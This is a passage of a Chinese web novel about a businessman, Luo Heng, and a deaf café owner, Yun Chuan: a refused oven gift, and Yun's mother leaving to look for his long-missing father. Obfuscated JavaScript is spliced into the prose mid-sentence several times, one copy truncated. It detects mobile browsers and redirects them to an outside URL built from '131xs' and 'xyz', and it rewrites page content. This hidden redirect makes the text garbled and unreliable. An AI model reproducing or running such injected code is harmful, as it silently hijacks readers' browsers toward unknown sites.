能选择的图案也有很多,当初最受欢迎的那一批是月份和星期的类型:每年的12个月份、每一周的七天,图案都是不一样的。 【唉,就是不知道什么时候才能再上新的包包。】云川摸摸自己的那一只,有点遗憾地说,【我当时只留了一个……现在我自己都只有这一个了!】 骆恒沉默着看他说完这些。 在看到云川说这个包包35块钱一个的时候,骆恒很轻微地皱了下眉毛,不过,当时云川沉浸在自己的世界里,并没有注意到。 这个东西赚不到钱,再算上设计这么多图案的人工成本,不赔就不错了。 骆恒不知道云川到底有没有算过这些,有心想提醒,又不想打断云川快乐的情绪。 他的视线飘到包包上的小云朵,越看越觉得,这个表情实在很像云川。 很快乐,很热情,很有能量。 云川终于说够了自己对包包的创意和设计,又献宝一样地抓过刚刚才递到骆恒手里的贴纸。 【这个贴纸哦,我跟你说!】云川一张一张地摆弄着,【你知道为什么店里的老客人都很喜欢很想要吗?不是跟我客气哦!因为这个贴纸,每一张都不一样!】 骆恒睁大双眼,顺着云川的动作看过去—— 这些贴纸,每一张上面都印着八个表情。 最上面这一张,像是工作中的小云朵,有的在看电脑,有的在摸鱼,有的走在下班路上,有的在吃工作餐。 第二张是谈恋爱的两朵云,在贴贴,在撒娇,在一起扮可爱。 再往下还有一家小云朵、两朵朋友云朵、学生云朵…… 确实每一张都不一样。 “这些……”骆恒声音有点哑,“都不一样,制作起来多麻烦啊。” 云川说:【肯定是比量产的更麻烦啦,所以才会五杯换一张呀!不过,独一无二的东西才显得珍贵,不是吗?】 骆恒看着他,慢慢地重复了一遍手机上的这句话,“对,独一无二的最珍贵。” 他冲云川笑笑,又一次肯定道:“你说得对。” 得到了认同的云川又笑开。他把手机上的语句全都删掉,调出备忘录的小画板,趴在桌上安静地画着画。 先前几次都是随手画的简单表情,这一次,云川明显认真很多。 他在画面的正中间画了一朵云,在云朵的额头别了一个粉红色的发卡。 是位漂亮的女性呢。 之后他在旁边画了一朵大一号的云。 和刚刚那一朵像是情侣或夫妻,两朵云手拉着手,表情是一样的幸福和甜蜜。 最后,云川在这夫妻俩的脚边画了第三朵云。 个子小小的,手也短短的,很努力地想要拽着身边的两朵云。 画完最后一笔之后,云川锁了手机趴在桌上。他背对着骆恒,只留下一个后脑勺。 * 骆恒一直不是爱用表情包的人。他的工作要求他性情严谨、不容出错,表情包或许方便,但总归不够严肃。 因为这样,他也总是看不懂当下流行的一些表情包到底是什么意思,被公司不少同事调侃过是老古董。 不过,刚刚云川画的那三朵云,骆恒觉得自己明白他想表达什么。 他忽然间明白了云川在通信软件上的昵称为什么叫“一片云云云”。 三朵云,是一个家庭,是一家三口。 骆恒又联想到昨天云川曾说,家里只有他和妈妈两个人,所以不希望留妈妈一个人吃饭。 他无意刨根问底、去询问那第三位家庭成员现在何处,只是此时此刻,他好像感受到了云川难得一见的失落。 他动动手指,想摸一摸那个圆乎乎的后脑勺。 只是还没付出行动,云川啪地从桌上弹起。 又恢复了最常见的元气满满的模样。 【骆恒,骆恒,大好人骆恒!】云川激动地打着字,【今天的虾仁豆腐煲还剩下一碗,我能不能,就是说,打包,带回家,晚上吃,呢?】 云川一脸真挚地打着欠扁的话,【好好吃哦,我还想吃。】 骆恒面无表情,“我刚才好像说过,那一碗我是打算晚上自己吃的吧?” 云川假装看不懂,【哎呀,你同意了啊,你真好,你真是个大好人!】 之后立刻起身小跑到厨房,把那一小碗虾仁豆腐煲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189175|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装进小饭盒里。 骆恒还能怎么样呢?他只能无奈地叹了口气。 * 骆恒家距离云川家有点远,虽然云川百般拒绝,骆恒还是决定送他回去。 【我经常自己坐地铁,没有关系的!】云川给他看自己的手机,【你看,我下载了这个APP,只要提前设置好终点站,到站时会提示的,我不会坐过站!】 骆恒就像刚才这人假装看不懂自己在说什么一样,假装看不懂屏幕上写了什么,“突然之间失去语言理解能力了,见谅哈。” 云川气得直跺脚。 不过说归说,开车还是比地铁还要方便。15分钟后,骆恒的卡宴停在云川家楼下。 云川怀里抱着小饭盒,得了便宜还要卖乖,【下次再请我吃饭是什么时候?】 “……?”骆恒无语,干脆直接调出来一个小云朵问号的表情。 又把云川逗笑了。 不过,他很快收起了脸上傻乎乎的笑。 【骆恒,今天真是谢谢你呀。】云川满脸真诚地道着谢,【还有之前说的,关于人工耳蜗的事情,也真的谢谢你了……】 他挠挠头,又想起骆恒帮自己修好了手环,还把吧台前写着常用语的小木牌换了新的。 他不好意思地说:【哎呀,怎么感觉认识你之后,就一直在麻烦你呢……】 骆恒打断道:“都说了不麻烦。再说了,除了帮你修好手环之外,其他的,我也并没有帮到你什么。你的这些感谢,还是等到我真的帮了大忙时再说吧。” 云川笑笑,表情有点腼腆,【不管怎么说,还是谢谢你呀……骆恒,我,说这些有点不好意思,但,我真的很久没有交到朋友啦。】 打完这段话后,云川抿着嘴笑笑,脸颊旁边挤出一个不太明显的酒窝。 他低下头,专心地打着字。一向手速飞快的人,这次却花了很长时间才写完简单的一句话。 【我呢,确实很难交到朋友的,所以……我真的好珍惜朋友的。】 他像是不好意思给骆恒看这些,只递到他面前一秒就移开。 不过,骆恒比他反应更快——他按住云川的手机直接锁了屏。 他说:“你既然当我是朋友,就更不必说这些。” 云川摸摸鼻子,很轻地点了点头。他慢慢地抽回被骆恒攥在手里的手机,又笑了。 仔细看才发现,云川的耳朵有点红。 骆恒移开视线,也没有再说什么。 副驾驶座传来咔哒的开门声响,云川拉开车门下了车,又站在门口弯下腰,冲坐在车子里的骆恒挥挥手。 “下次再一起吃饭。”骆恒冲他点头。 目送云川上楼之后,骆恒忽然觉得有点热。 他用左手扇扇风,这才意识到自己刚才竟一直紧紧攥着拳头。 掌心里留下四个明显的小月牙。 他呼了口气,又去看云川居住的那栋楼。 一抬头,正好看到那人经过了三楼的窗户。 这样的距离,骆恒并不能看清云川,可是不知怎的,他却觉得自己明明看到了云川还在泛红的耳朵。 9. 09 年会礼品 云川前脚刚回到家,云芸后脚就跟着进了家门。 她在做一份手语老师的工作,每周上四天课,周六和周日白天都不在。 【我刚刚在楼下看到一辆好气派的车,是不是上次那个人?】云芸问。 【啊?不是吧,他应该早走了啊。】云川挠头,跑到窗边往外看了看,刚好看到骆恒卡宴的屁股,【嗳,真的是他哎。可能是临时有工作绊住了吧,吃饭时他也一直在看手机说工作。】 云芸点点头,说:【这么辛苦啊。】 之后两人又说了些别的。 云芸这份工作不算忙碌,赚的钱却意外的多,再加上云芸人长得漂亮,性格也温柔,很受一些特殊学生的喜欢。 几年下来,倒也成了一份相当不错的工作。 【妈,这个是骆恒中午做的菜,我带了一点回来,很好吃的,嘿嘿!】 云芸接过小饭盒看了看,笑着戳戳他的脑门。 母子两个在厨房里忙活,客厅里在放着电视节目。 这也是他们家的习惯了。 从前秦铮还在的时候,家里只有他一个人能听到声音,电视开着放个背景音还算是正常。后来秦铮走了,电视机的声音再没人能听得到,只是,这母子俩谁也没有改掉这个习惯,只要家里有人,电视总会像以前一样开着。 就算没人听得到,也要开着。 云川确实不会烧菜,帮云芸煮了米饭后就被赶出厨房。路过客厅时他看了一眼电视,电视上正重播着中午的新闻。 说是某地端了一个暴力传销组织,解救了不少受害者。 云川在电视机前停了两秒,看电视里的警察讲述破案经过。 新闻里甚至放出了抓捕现场的录像。 一群人挤在一个破旧的出租屋里,受害人都被打了码,看不到长相,但身上那股压抑了太久的麻木,隔着屏幕都让云川感受到了不适。 抓捕过程的录像很抖,晃得云川头晕。 他摇摇头,用遥控器换了频道。 * 周一上班时,骆恒抽时间找行政问了一下年会的事情。 天茂集团的年会一向设置在五月,今年恰好赶上集团成立三十年,打算好好准备一场盛大的年会庆祝一下。 这个事情并不归骆恒管——正常情况下,骆恒只负责集团对外形象的管理,和与投资者之间关系的维系,这些集团内部的事情,跟他关系不大。 因此,当骆恒提出想看看今年年会抽奖环节准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189176|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备了什么礼品时,负责行政工作的这位总经理满头问号。 她调出礼品名单给骆恒看,说:“大概就是这些。” “还能增加吗,增加一点吧。”骆恒说着,把自己的手机拿出来给她看,“增加一台这个吧,我出钱买。” 手机屏幕上是一个烤箱,最新款的。 “可是我们的礼品里已经有空气炸锅了,很类似的。” 骆恒解释道:“但这个有新的功能,可以关联手机,烤好了手机会提示——算了,跟你说你也不懂,就增加一个这个吧,我掏钱买,走我自己的账。” 行政总经理:“……?”哪来的人傻钱多的土地主。 几天之后,天茂集团的公众号推送了一篇文章,介绍即将举办的年会。 年会活动很丰富,礼品列了一长串。 下面的评论纷纷表示,天茂果然财大气粗。 骆恒把这篇文章转发给云川看,说:【我们今年年会的特等奖居然是烤箱,我去中一个,中奖了就送你。】 云川回了一个哇的小云朵表情。 骆恒欲盖弥彰地掩饰着:【我平时不太管这些,今天他们发了公众号我才看到。】 云川依然是一个小表情:【嗯嗯!】 10. 10 拒绝 四月尾巴的这几天转瞬即逝,转眼间,天茂集团这一年度的年会声势浩大地举办了。 云川不是天茂的员工,自然对年会没什么兴趣,只是那晚在咖啡店看到有几个客人在讨论这件事。 是附近大学的大三学生,眼看着再次开学时就要找工作了,对天茂这种顶有名的业界标杆最是向往。那几人叽里呱啦讲了一大堆天茂过往的历史,云川靠在吧台里,“听”得津津有味。 同一时间,骆恒正在年会会场里翻着手机。 他有点傻眼,自己买的那台烤箱今晚还没有配送到。 他有办法让行政给今年年会的礼品名单里增加一个烤箱,但实在没有办法黑幕这个烤箱——换句话说,年会的这台烤箱就是个幌子,存在的意义只是为了糊弄云川,告诉他说自己刚好中了一台烤箱,可以送给他。 至于真正送出去的,是自己买的另外一台。 担心提前准备会暴露,骆恒特意算好了时间,赶着这最后几天才下单,只是没想到,物流好像耽误了。 本来还打算明天一早就送过去呢。 骆恒特意查过,这个烤箱可以关联手机,功能完成后,手机APP端会有推送提示,刚好适合听不到声音、但时刻握着手机的云川。 想到这点,骆恒有点坐不住了。 真想赶紧收到烤箱送过去,骆恒想,不知道这次云川又会画什么可爱的小表情感谢他。 * 然而,烤箱真的送到时,云川的反应却不像骆恒想象的那样惊喜。 【这是……烤箱?】云川迟疑地问。 “啊,对啊,烤箱。”骆恒打开车子尾箱给他看,解释道,“我们公司年会的特等奖,没想到我真的中了奖。” 骆恒自顾自地说着,完全没注意到身旁云川复杂的神色。 “那天看到礼品清单时,我就是那么随口一说,希望能中一个烤箱,没想到还真中了。”骆恒继续睁着眼睛说瞎话,“反正我家里有一个,也用不到,你需要的话拿去用啊,放在我那也是浪费。” 天茂骆总日常的工作就是对外交流,他最会见人说人话见鬼说鬼话,什么样的场合要用什么样的仪态发言,没人比他再清楚了。 来之前他还稍微准备了一番,把“年会中了一台烤箱但自己用不到于是拿来送给云川”这件凭空虚构出来的事情圆得完完整整,挑不出一点漏洞。 骆恒越说越高兴:“我帮你送过去吧,这烤箱虽然不重,但你自己抱回去也实在麻烦。你什么时候关门?我等你一会儿。” 骆恒依然自说自话。他把尾箱关上,一副打算进火烧云坐着休息的模样。 完全忘记了,至少要询问一下,云川是否愿意接受这样的好意。 很明显,云川不愿意。 【谢谢你呀,骆恒。但是……】云川想说的话,停在了这一连串的省略号这里。 直到这时,骆恒才终于意识到,似乎从刚才开始,身边这人就没有流露出太多高兴或兴奋的情绪。 他只是一直在沉默着——这种沉默不是因为云川不会说话、一直安静,他沉默是因为在思考如何拒绝骆恒。 先前的热情和喜悦像掉进热水里的冰块,忽然之间降了温。 骆恒眨眨眼睛,低声问:“……但是?” 这个时候,骆恒心里想的竟然是,幸好云川听不到声音。 他真的完全无法控制自己的语气,无法控制这突然低落下来的情绪。 云川抬头看了他一眼,又很快低下头去。他攥着手机,打字打得很认真。 【骆恒,这个烤箱,我不能收。】 “为什么不能收?”骆恒问。 云川却并没有正面回答这个问题,他只是说:【你帮了我很多了。】 骆恒:“上次好像说过这个话题吧,除了帮你修好了手环,其他的,没有帮到你,不是吗。” 云川浅浅地皱了眉,又写道:【不是这个意思。你的心意我感受到了,谢谢你,但烤箱……烤箱我不能收。我不能总是这样接受你的好意。】 他们就这么站在火烧云的店门外,谁也没有进去好好谈一谈的意思。 下午三点,毒辣的太阳照在两人头顶,只拉出两个小小的、圆形的影子。 后来有客人光临,云川看看疑惑看着他俩的客人,又回头看看骆恒,快速打了一句:【抱歉,我去招待一下客人,等我一下哦!】 之后便进店里了。 骆恒冷静了两秒,钻进车里熄了火,也跟着进了店。 瞥见他进来后,云川递来一个有点惊慌的眼神,又匆忙低下头去做咖啡。 这位客人一口气点了四杯拿铁,云川有些手忙脚乱。等到这位客人终于离开、店内再没有其他人时,他才洗干净手,犹豫着走到骆恒身旁坐下。 再开口时还是先道了谢:【谢谢你呀,收到烤箱还想着我。不过……】 云川挠挠头,不知道是不是感觉到了骆恒的不快,小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189177|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼翼地说:【不过,我还是不能收下,我觉得这个太贵重了。】 骆恒生硬地重复道:“中奖得来的奖品,没有什么贵重不贵重的。” 像是担心云川怀疑,他又重复了一遍重点的字词:“是年会的礼品。” 这话不知道哪里让云川产生了疑惑,只见他歪了歪头,满脸不解。 但很快他就抛开了这些疑惑,继续写道:【我知道,就算是免费得来的东西,那也是属于你的。我的意思是……】 云川苦恼地想了很久,始终没有想到合适的语句,把这句话补充完整。 最后他放弃了,【我真的不能收,骆恒,你已经帮了我很多忙了。烤箱也不是什么要紧的东西,哎呀,我那天就是随口一说,你不用这么放在心上的。】 他磕磕巴巴打下这段话的期间,骆恒一直安静地注视着他,没有说话,却也没有打断他。 等到云川终于说完,他才点了点头,说:“也是,没有提前问一下你需不需要,是我唐突了。” 云川连连摆手,说:【没有这回事,我不是这个意思。】 骆恒想挤出一个微笑——现在两人之间的气氛实在让人窒息,但,试了好几次,还是失败了。 最后他只能冲云川点点头,声音晦涩地说:“那行,烤箱我先带回去……” 云川无法判断这声音与往常有什么不同,只能胡乱点着头。他眼神飘忽着躲开骆恒,视线飘到吧台的时候,他拍拍脑袋,说:【我给你泡杯咖啡吧!你渴不渴?还是冰美式可以吗?】 骆恒下意识点点头。 直到云川回到吧台、动作利索地泡了一杯美式出来的时候,骆恒才摇头反悔。 “算了,还是拿铁吧。”骆恒说。 云川的动作停了一瞬,但很快又反应过来。他点点头,不再去看骆恒,弯腰取出牛奶。 香甜的牛奶盖住了浓缩咖啡的苦涩,只是这甜腻的味道骆恒并不喜欢。 他走到吧台,伸手接过咖啡,对云川说:“谢谢,那我先走了。” 云川抿了抿嘴唇,点点头。 离开火烧云后,骆恒又回头看了一眼,云川还站在吧台看他。 见他回头后,云川笑了笑,挥手冲他示意。 胸前围裙上的小云朵也跟着动了动。 骆恒却无法回应一个相同的微笑。他掩饰性地喝了一口拿铁,又被牛奶的味道甜到发晕。 他看了看手里的杯子,默不作声地上了车。 11. 11 想明白了 开车回家的路上骆恒一直在想,云川一定是看出来了,他知道年会礼品是个幌子,所以才会觉得贵重不肯收下。 骆恒承认这个事情巧合得太过分,但是——该圆的话圆得没问题,该堵住的窟窿也都堵得严严实实,虽然听上去可疑,但云川绝对没有半点证据证明这烤箱是骆恒自己买来送他的。 时间点太不凑巧了吧,骆恒安慰自己,就算再怎么掩饰,也实在是太过巧合了。 找好了理由安慰自己,却始终不能疏解心里莫名的怨气。 骆恒说不上来自己在气什么,总之一路开得飞快,还差点闯了红灯。 密闭的车子里偶尔飘出一股拿铁的甜味,刺得骆恒的鼻腔更不舒服。 他实在不喜欢甜味。 这杯拿铁直到晚上都没喝完,依然静静躺在茶几上。 骆恒嫌它碍眼想拿去丢掉,拎起来一看,也只剩个咖啡底了,索性一仰头,喝光了。 牛奶当然可以掩盖住咖啡的苦涩,只是那点甜味分解掉之后,居然衬得咖啡更苦。 骆恒也不知道自己到底是怎么了,他就是看不得这杯咖啡,哪怕已经丢进了垃圾桶,他也觉得房间里充斥着刺鼻的甜味。 骆恒受不了了,大晚上的还跑下楼倒了一趟垃圾。 洗漱完毕躺到床上的时候,竟然已经过了十二点,而骆恒依然清醒毫无困意。 一天两杯美式都不会影响睡眠的人,今晚居然因为一杯拿铁失眠了。 不知是夜晚更容易理清思路,还是生了一下午闷气现在才终于冷静下来,在这个辗转反侧无法入睡的夜里,骆恒忽然想明白了一件事。 他一直想偏了,云川不肯接受这个烤箱,并不是因为发现了他编造的拙劣谎言。 他不接受,只是因为不愿意接受。 因为他觉得,他们之间的关系,不足以让他接受这样一个礼物。 如果这个烤箱是云芸拿回家的,不管是花钱买到还是抽奖中到,云川都一定会很开心地收下。 如果换成是隔壁小花一家送给他,或许云川会犹豫,或许会收下。 但,这是自己送的,是自己这样一个没有认识太久的朋友送的,所以云川会拒绝。 骆恒从床上坐起,彻底清醒了。 这么简单的道理,他居然现在才明白。 骆恒重重躺回床上,开始懊悔起自己的冲动。 懊悔的同时,还有另一种莫名的复杂情绪。 云川听不到声音,先天遗传无法医治,人工耳蜗是唯一可能让他听到声音的办法,主动帮忙打听有情可原。可烤箱这件事,从头到尾都是自己在瞎琢磨,云川只说过一句他曾经想过要买、但因为不方便而作罢了。 这样简单的一句话,值得自己折腾这么多天吗? 对这样一件事这么上心,到底是为了什么呢? 骆恒闭上眼睛,思路乱七八糟,怎么都理不清。 另一边,云川也并没有休息。 他在和云芸吵架。 母子俩都是脾气温和的人,相依为命这么多年,很少争执,但今晚…… 起因是云芸突然说要出去一趟,去几百公里之外的明市。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189178|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 云川觉得这个地名有点耳熟,但一时之间没有想起在哪里听过,只是问道:【去那里干什么?】 云芸支支吾吾,不肯回答。 【那我跟你一起去,什么时候出发?】见母亲不愿多说,云川体贴地不再多问,【还有别人一起吗?】 云芸摇头,却不是在回答儿子的问题,【我自己去,你不用跟着。】 云川慢慢皱起眉毛,【不行,你一个人去我不放心。】 云芸笑着摆手,道:【你不要瞎操心,我还能不会照顾自己吗?你就待在家里,等我回来就行。我不会去太久的。】 之后,不管云川再怎么询问,云芸都不肯回答了,两人就这样不欢而散。 回到自己的卧室后,云川依然满心茫然。 云芸跟他一样,从来没有离开过这个城市。他们出门不方便,也没有什么非要出门不可的事情,怎么今天突然就提起要去明市? 他坐在床上发呆,脑袋里一片懵。 云芸并不是冲动的人,今天突然提出这么一件事,到底是为了什么…… 云川想不出来原因,只能放弃。但同时,他又开始在意起这个熟悉的地名。虽然想不起来在哪里听到过,但他肯定,这个地方一定有人提起过。 明市,明市……这个城市离他们居住的城市有一段距离,但又不算太远;临近省会城市,但据说不算发达;没听说有什么旅游资源,想来不是去旅游…… 对了! 云川想起来了! 六年前父亲离开时,似乎是说要和朋友去明市做生意。 12. 12 小云朵哭哭 云川突然觉得手脚冰凉。 所以,妈妈这次突然说要出去,是要去找爸……? 云川顾不得多想,赶紧跑到云芸房门口。进门时,她正蹲在地上收拾行李。 【云川,你还没睡啊……】云芸有点慌张,手上都比错了动作,【都这么晚了,快去睡觉吧。】 都在收拾行李了,云川知道,她是打定主意非去不可。 【你去明市,到底是去干什么?】云川问道,【是不是跟爸有关?】 云芸低着头,什么都没回答。 她慢慢地合上了行李箱,甚至没注意到没叠好的衣服被乱七八糟地挤在一起。她像是没看到云川的问话,低着头没有任何表态。 见她没有反应,云川只能又问:【过去太久,我有点记不清了。我记得当时爸说要去明市,我没有记错吧?你是去找他吗?】 云芸依然不回答。她推开云川的手,干脆背对着他坐在地上。 云芸性子温吞,遇到不喜欢的事情只会沉默着躲开,云川深知这一点。他绕到云芸面前蹲下,说:【妈,如果真的是知道了爸的下落,我想跟你一起去。】 他顿了顿,眼圈有点红,【我也很想见他。而且,你一个人去,我真的不放心。】 云芸叹了口气。她握住云川的手,眼睛也慢慢红了。 她说:【我不知道,我只是想去试试。就算他当时真的去了明市,都这么多年了,也不一定还在那里。我就是、我就是……】 她有点说不下去了。 【那,我跟你一起去不好吗?】云川更加坚定,【我跟你一起去。】 【你别去,你不要去,我自己可以。】云芸一连比了好几个拒绝的手势,到最后,她的表情竟然有些痛苦,【让我自己去吧,我自己去……】 她慢慢弯下腰,脸埋在膝盖上。 云川听不到声音,只能通过她微微颤抖的肩膀判断,她可能在哭。 他挨着她坐在地上,想伸手环住她的肩膀安慰,但最终,他只是把额头靠在云芸的肩膀上。 他无法给云芸任何安慰,在秦铮的事情上,他和云芸一样的无助、悲伤,一样的掩藏起自己的难过、只在心里偷偷地思念那个人。 云川乱七八糟想了很多,他始终不相信秦铮会抛弃他们,可又一直胆怯,从不敢向云芸询问秦铮的事。 但他一直都记得小小个子的自己走在父母中间时的样子。一边牵着妈妈,一边牵着爸爸,两个人的身影都那样高大。 * 过了很久,云芸终于恢复了平静。 她坐直身体,也擦干了眼泪,平静地说:【这一次不一定会有收获,很大概率会是无用功,所以,你还是待在家里,不需要跟我一起去。】 她按下云川的手,继续说:【而且……有些事情你一直不知道。】 云芸缓缓地说:【你爸爸离开之前,我们吵过架,吵得很凶。我不想让他离开这里,但他坚持要去,我拦不住。后来他终于改变主意,说只是去看看、很快就回来,没想到……】 云芸又有些语无伦次,【总之,那段时间发生了很多事,我一直想去找他,但总是、总是被一些事情绊住。后来,我就不敢了……我怕他真的是想要离开,我怕……】 【他不会的。】云川打断她,【我不相信,我从来都不相信爸爸会抛弃我们。】 云芸好不容易止住的眼泪又一次簌簌落下,【是我太懦弱了,我早该去找他的……】 她擦干净眼泪,不再沉浸在过去的悲伤中。她掏出手机对云川说:【一会儿你把这个软件装上,搜索我的手机号绑定,启动之后,每隔三个小时会自动共享两个人的定位,不用担心我。】 柔弱的女人脸上满是坚定,【现在已经不是六年前了,你不会找不到我。不要担心。】 * 云川劝不动妈妈,云芸也当真在这件事情上爆发了从未有过的行动力。第二天下午,她拎着行李,登上了去明市的飞机。 送走云芸后,云川失魂落魄回到家里。定位软件里,他已经和云芸做了匹配,等到她下飞机,就可以时刻关注定位了。 可他还是不放心,这种心里空落落的感觉已经许久没有过了。 咖啡店无心营业,索性关了两天门。云川自己在家,什么都做不下去。 也不知道过了多久,云川的手环振动了。 手机有新消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189179|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。 他揉揉脸,去床头拿起手机。 【-骆恒:新表情啊?小云朵吃饭.jpg】 哦! 云川后知后觉,几天前他在后台提交了新表情审核,这两天为云芸的事情分了太多心思,都忘了关注新表情上线。 云川快速翻了一遍第九弹表情,确认没有问题后,给骆恒回了一个“嗯”字。 再往上看看,和骆恒的上一次对话还停留在两天之前,骆恒问他在没在店里,说自己现在打算过去,之后便送来了那个烤箱。 那个烤箱看起来就很高档,云川没有收下。先前骆恒在表情商店里打赏的那两千块钱已经让云川非常不安了,这次又是贵重的东西,云川不敢再收。 他没有办法一直这样单方面地接受别人的好意。 很快,骆恒又发来一条消息:【今天没开门?】 【……】云川瞪圆眼睛,这才想到自己竟然又忘了发闭店通知。他有点愧疚地写道:【哦对,这两天都没开门,又让你白跑了qwq】 【没有,刚好路过。】骆恒回。 云川有心想解释一下,这两天的确是有些特殊情况,他也不想给老顾客留下这种自己总是偷懒不营业的坏印象。 但手指落在屏幕上时,他又不知道从何说起,犹豫再三删删减减,最后只发了一个小云朵哭哭的表情。 他看到对话框顶端一直显示对方正在输入,便安静等待骆恒的下文。 不过,没等来骆恒的下文,倒是等来了云芸落地的推送通知。 云川赶紧点进定位的APP查看实时位置,很快,云芸报平安的消息也进来了。 她拍了一张机场的照片,说“人好多啊”,又发了一个小云朵瑟瑟发抖的表情。 云川被她逗笑了。 说了几句话后,云芸动身前往预订好的酒店。 手机恢复了平静,云川再回到微信的主界面,骆恒依然没有再说些什么。 这一晚的对话,就这么结束了。 云川没做他想。母亲安全抵达明市后,他才终于松了一口气,踏下心来准备睡觉,也并没有去想过,屏幕那一旁的骆恒方才在欲言又止些什么。 13. 13 小云朵不要哭 云川折腾了两天,今晚终于能安心睡觉了。可对骆恒来说,这一晚依然是个不眠夜。 那段漫长的“正在输入”的时间里,骆恒一直在修改对话框里的文字。 如果说先前和云川的关系还算热络,那这两天,可以算是非常突兀地冷却了下来。 他们之前的闲聊也很少有什么主题,经常是骆恒看到个什么有趣的新闻,顺手就给云川发了过去。云川也会给他看自己新画的贴纸,和他分享一些店里发生的小事。 但,自从那天之后,他没有再找过云川,云川也……没找过他。 也不是没有话题可以聊。 午休时骆恒在下厨软件上看到一个讨论,话题是清蒸鱼如何去腥。他想起前些日子云川曾说,云芸最近工作越来越忙,他想要学烧菜帮忙分担家务,想请教一些做菜的小技巧。 骆恒本想转发过去,可最终还是没有按下发送键。 他又在想那个问题。 想学烧菜,大概也和想要一个烤箱一样,只是闲聊时随口说的一句话,不一定有很严肃的意义,或许自己只需要听过就算,不用太过认真。 太过认真的结果,就是像上次一样尴尬。 不过,想是这么想,做却做不到。 下班时骆恒拐了个方向,去了一趟火烧云。 连说辞都想好了:拿铁这个东西,真的喝不惯,还是来一杯美式吧。 没想到,这一趟又扑空了。 火烧云没有营业。 骆恒停在路边,盯着火烧云的招牌看了一会儿,沉默着掉头离开。 那一晚,骆恒又失眠了。 第二天顶着两个黑眼圈去上班的路上,骆恒鬼迷心窍,又拐去火烧云看了一眼。 依然没开门。 有特殊情况需要歇业时,云川会发朋友圈通知——店里不少老客人都有云川的联系方式,通知一下,免得大家白跑。 但这两天,云川那里安安静静,什么动静都没有。 骆恒不知怎么,又生起了闷气。他在公司楼下的便利店里买了一杯美式带上楼,那味道却怎么都觉得不对劲。 太酸了,也苦。 明明都是美式,怎么云川就能煮得很好喝。 便利店的美式和上次那杯拿铁一样,都是被嫌弃的命,只是这杯美式没那么好运,午饭时直接被骆恒带出去,一整杯丢进了垃圾桶。 晚上下班回家时已经八点过了。 骆恒恹恹地瘫在沙发上,一点精神都没有。 对云川整整两天都没有开门营业的担忧到底还是压过了心里不知哪里窜出来的无名火,骆恒犹豫着点开对话框,思考着找一个什么样的开场白。 一个没留神,他先点开了之前云川发过来的小表情。 哦,小云朵系列的表情上了第九弹,骆恒赶紧下载下来一一看过。 看着看着,他笑了。 这个第九弹表情的主题,居然是烧菜。 每个小云朵头顶都带了高高的帽子,有的在切菜,有的在煮饭,一眼扫过去,一排排小云朵忙得团团转。 骆恒随便挑选了一个烧菜的小云朵发过去,顺便问道:【新表情啊?】 再仔细看看,还有一个吃饭的小云朵。 自己做饭自己吃,怪可爱的。 憋闷了两天的心情烟消云散,骆恒戳戳手机屏幕,手指就落在这朵大口吃饭的云的小短手上。 过了好一会儿,云川才回复了一个“嗯”字。

